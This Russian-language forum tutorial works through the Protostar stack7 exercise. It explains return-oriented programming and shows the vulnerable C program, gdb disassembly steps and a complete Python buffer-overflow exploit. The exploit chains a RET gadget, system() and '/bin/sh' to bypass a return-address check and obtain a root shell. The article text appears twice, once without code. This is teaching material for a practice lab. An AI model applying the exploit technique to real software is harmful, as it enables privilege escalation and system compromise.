Доброго времени суток посетители портала Codeby. Продолжаем изучать бинарные уязвимости и эксплойтостроение. В предыдущей статье мы познакомились с техникой эксплуатации называемой как Ret2Libc. В этой статье мы познакомимся с новой техникой, а именно с возвратно-ориентированным программированием или просто ROP. Что же это такое? ROP это более чуть развитая техника эксплуатации. Принцип очень схож, да и к тому же это очень мощное средство которое позволяет обходить различные защиты например DEP. Ну что же приступим...
Описание ExploitMe
Stack7 вводит в концепцию возврата в сегмент кода .text, чтобы получить выполнение кода.
Инструмент metasploit «msfelfscan» может упростить поиск подходящих инструкций, в противном случае воспользуйтесь инструментом objdump для просмотра выходных данных.
Этот уровень находится в / opt / protostar / bin / stack7
Исходный код
Решение
Данный нам код ни чем не отличается от предыдущего за исключением новых адресов в памяти. И если мы попробуем запустить эксплойт из предыдущего задания, то ничего хорошего из этого не выйдет.
На этот раз добавлена еще более тщательная проверка на адрес возврата (RET). Наш эксплойт не отработал, как нужно нам. Всё дело в том, что адрес функции
Возвратно-ориентированное программирование (ROP)
Возвратно-ориентированное программирование (Return-oriented programming, ROP) — это метод эксплуатации уязвимостей в программном обеспечении, используя который атакующий может выполнить необходимый ему код при наличии в системе защитных технологий, например, технологии, запрещающей исполнение кода с определённых страниц памяти. Метод заключается в том, что атакующий может получить контроль над стеком вызовов, найти в коде последовательности инструкций, выполняющие нужные действия, а затем их выполнить в нужной последовательности. Эти последовательности инструкций называются «гаджетами».
«Гаджет» обычно заканчивается инструкцией возврата (RET) и располагается в оперативной памяти в существующем коде (в коде программы или в коде разделяемой библиотеки). Атакующий добивается последовательного выполнения гаджетов с помощью инструкций возврата, составляет последовательность гаджетов так, чтобы выполнить желаемые операции.
ROP - мощный метод, используемый для противодействия распространенным защитам предотвращения использования памяти. В частности, ROP полезен для обхода рандомизации адресного пространства (ASLR) и DEP .
Если уж говорить совсем простым языком мы контролируем стек и места перед возвратом из функции, чтобы направить выполнение кода в другое место в программе.
Надо сказать, что ROP не просто техника эксплуатации. ROP это такая штука, которая постоянно совершенствуется. И на данный момент есть несколько разновидностей этой техники. Или так сказать классов атак.
К примеру Jump-oriented programming
Или String-oriented programming
Или же Sigreturn-oriented programming
А так же Blind Return Oriented Programming (Прим. тут сразу вспоминается Blind-SQL-Injection xD )
Мы воспользуемся обычным ROP. Можно сказать что Ret2Libc это верхушка айсберга, а ROP его продолжение. При эксплуатации бинарных уязвимостей все это дело комбинируется, переплетается в зависимости от ситуации. Техники взаимозаменяют друг друга и т.д. К примеру когда есть цепочка багов.
Для начала давайте разберемся, что происходит в процессоре при выполнении команды RET.
Процессор переместит адрес наверхушку стека в EIP и увеличит (стек увеличивается к младшим адресам) ESP на 4.
Теперь, если адрес наверху стека указывает на другую ret инструкцию, когда он выполняется, эти шаги произойдет снова, и выполнение продолжится по следующему адресу, который находится в стеке. Это может показаться немного запутанным, но, по сути, если мы используем адрес ret инструкции в качестве адреса возврата, выполнение перейдет к следующему адресу в стеке.
Поэтому наш план обойти проверку адреса возврата состоит в том, чтобы модифицировать наш эксплойт, указав адрес RET инструкции в качестве адреса возврата перед адресом функции system().
Откроем программу stack7 под отладчиком GDB и дизассемблируем функцию getpath() чтобы узнать адрес возврата из этой функции.
Отлично адрес возврата из функции getpath() получен. Инструкция RET находится по адресу 0x08048544.
Теперь доработаем наш эксплойт, добавим перед конструкцией
Открываем редактор nano и дописываем недостающие части эксплойта.
Финальный эксплойт будет выглядеть так.
Сохраняем и выходим...
Проверяем. Запускаем. Тестируем.
Проверим наши права до запуска эксплойта
запускаем эксплойт
проверяем права
Закрываем оболочку
Как нам видно на скриншоте мы успешно получили оболочку с правами root.
Возникает вопрос почему мы использовали адрес возврата из функции getpath(), а не из главной функции main() ?
А просто так. Дело в том, что мы можем использоваться любые ret адреса.
Попробуем выполнить наш эксплойт с другим ret адресом.
Хорошо. Теперь заменяем старый адрес инструкции RET в эксплойте
на новый, т.е. который мы только что получили
теперь открываем редактор и заменяем адрес.
Проверяем...
Видно, что эксплойт отработал точно так же, как и в прошлый раз, без ошибок. Вот таким простым казалось бы способом мы обошли защиту встроенную в программе ориентированную на адреса возврата. А так же мы скомбинировали три техники Overwrite EIP + Ret2libc + ROP и объединили их в одном эксплойте.
Одной статьи конечно же не хватит, чтобы описать все преимущества и тонкости таких техник как Ret2Libc\ROP но всё же... Мы хоть познакомились с ними и чуточку стали на голову выше)) На этом всё. Можно переходить к следующему заданию
Описание ExploitMe
Stack7 вводит в концепцию возврата в сегмент кода .text, чтобы получить выполнение кода.
Инструмент metasploit «msfelfscan» может упростить поиск подходящих инструкций, в противном случае воспользуйтесь инструментом objdump для просмотра выходных данных.
Этот уровень находится в / opt / protostar / bin / stack7
Ссылка скрыта от гостей
, VMИсходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
char *getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char **argv)
{
getpath();
}
Решение
Данный нам код ни чем не отличается от предыдущего за исключением новых адресов в памяти. И если мы попробуем запустить эксплойт из предыдущего задания, то ничего хорошего из этого не выйдет.
На этот раз добавлена еще более тщательная проверка на адрес возврата (RET). Наш эксплойт не отработал, как нужно нам. Всё дело в том, что адрес функции
system()
начинается с 0xb
. Что не подходит под условии в конструкции If
. Как быть? Настало время познакомиться с новой техникой эксплуатации, именуемой как ROP.Возвратно-ориентированное программирование (ROP)
Возвратно-ориентированное программирование (Return-oriented programming, ROP) — это метод эксплуатации уязвимостей в программном обеспечении, используя который атакующий может выполнить необходимый ему код при наличии в системе защитных технологий, например, технологии, запрещающей исполнение кода с определённых страниц памяти. Метод заключается в том, что атакующий может получить контроль над стеком вызовов, найти в коде последовательности инструкций, выполняющие нужные действия, а затем их выполнить в нужной последовательности. Эти последовательности инструкций называются «гаджетами».
«Гаджет» обычно заканчивается инструкцией возврата (RET) и располагается в оперативной памяти в существующем коде (в коде программы или в коде разделяемой библиотеки). Атакующий добивается последовательного выполнения гаджетов с помощью инструкций возврата, составляет последовательность гаджетов так, чтобы выполнить желаемые операции.
ROP - мощный метод, используемый для противодействия распространенным защитам предотвращения использования памяти. В частности, ROP полезен для обхода рандомизации адресного пространства (ASLR) и DEP .
Если уж говорить совсем простым языком мы контролируем стек и места перед возвратом из функции, чтобы направить выполнение кода в другое место в программе.
Надо сказать, что ROP не просто техника эксплуатации. ROP это такая штука, которая постоянно совершенствуется. И на данный момент есть несколько разновидностей этой техники. Или так сказать классов атак.
К примеру Jump-oriented programming
Или String-oriented programming
Или же Sigreturn-oriented programming
А так же Blind Return Oriented Programming (Прим. тут сразу вспоминается Blind-SQL-Injection xD )
Мы воспользуемся обычным ROP. Можно сказать что Ret2Libc это верхушка айсберга, а ROP его продолжение. При эксплуатации бинарных уязвимостей все это дело комбинируется, переплетается в зависимости от ситуации. Техники взаимозаменяют друг друга и т.д. К примеру когда есть цепочка багов.
Для начала давайте разберемся, что происходит в процессоре при выполнении команды RET.
Процессор переместит адрес наверхушку стека в EIP и увеличит (стек увеличивается к младшим адресам) ESP на 4.
Теперь, если адрес наверху стека указывает на другую ret инструкцию, когда он выполняется, эти шаги произойдет снова, и выполнение продолжится по следующему адресу, который находится в стеке. Это может показаться немного запутанным, но, по сути, если мы используем адрес ret инструкции в качестве адреса возврата, выполнение перейдет к следующему адресу в стеке.
Поэтому наш план обойти проверку адреса возврата состоит в том, чтобы модифицировать наш эксплойт, указав адрес RET инструкции в качестве адреса возврата перед адресом функции system().
Откроем программу stack7 под отладчиком GDB и дизассемблируем функцию getpath() чтобы узнать адрес возврата из этой функции.
Код:
gdb -q ./stack7
set disassembly intel
disas getpath
q
Отлично адрес возврата из функции getpath() получен. Инструкция RET находится по адресу 0x08048544.
Теперь доработаем наш эксплойт, добавим перед конструкцией
systemAddr = pack("I", 0xb7ecffb0)
адрес возврата из функции getpath(). Добавим такую конструкцию retAddress = pack("I", 0x08048544)
, а так же в print
добавим переменную retAddress
.Открываем редактор nano и дописываем недостающие части эксплойта.
Код:
nano ~/exploit.py
Финальный эксплойт будет выглядеть так.
Python:
from struct import pack
eipOffset = "A"*80
retAddress = pack("I", 0x08048544)
systemAddr = pack("I", 0xb7ecffb0)
exitAddr = pack("I", 0xb7ec60c0)
shellAddr = pack("I", 0xb7fb63bf)
print eipOffset + retAddress + systemAddr + exitAddr + shellAddr
Сохраняем и выходим...
Код:
f2,y,enter.
Проверяем. Запускаем. Тестируем.
Проверим наши права до запуска эксплойта
Код:
id
whoami
запускаем эксплойт
Код:
(python ~/exploit.py;cat) | ./stack7
проверяем права
Код:
id
whoami
Закрываем оболочку
Код:
Ctrl+D
Как нам видно на скриншоте мы успешно получили оболочку с правами root.
Возникает вопрос почему мы использовали адрес возврата из функции getpath(), а не из главной функции main() ?
А просто так. Дело в том, что мы можем использоваться любые ret адреса.
Попробуем выполнить наш эксплойт с другим ret адресом.
Код:
gdb -q ./stack7
set disassembly intel
disas main
q
Хорошо. Теперь заменяем старый адрес инструкции RET в эксплойте
Код:
retAddress = pack("I", 0x08048544)
на новый, т.е. который мы только что получили
Код:
retAddress = pack("I", 0x08048553)
теперь открываем редактор и заменяем адрес.
Код:
nano ~/exploit.py
f2,y,enter.
Проверяем...
Код:
(python ~/exploit.py;cat) | ./stack7
Видно, что эксплойт отработал точно так же, как и в прошлый раз, без ошибок. Вот таким простым казалось бы способом мы обошли защиту встроенную в программе ориентированную на адреса возврата. А так же мы скомбинировали три техники Overwrite EIP + Ret2libc + ROP и объединили их в одном эксплойте.
Одной статьи конечно же не хватит, чтобы описать все преимущества и тонкости таких техник как Ret2Libc\ROP но всё же... Мы хоть познакомились с ними и чуточку стали на голову выше)) На этом всё. Можно переходить к следующему заданию
Ссылка скрыта от гостей
. В следующих статьях мы будем работать с форматными строками.
Последнее редактирование: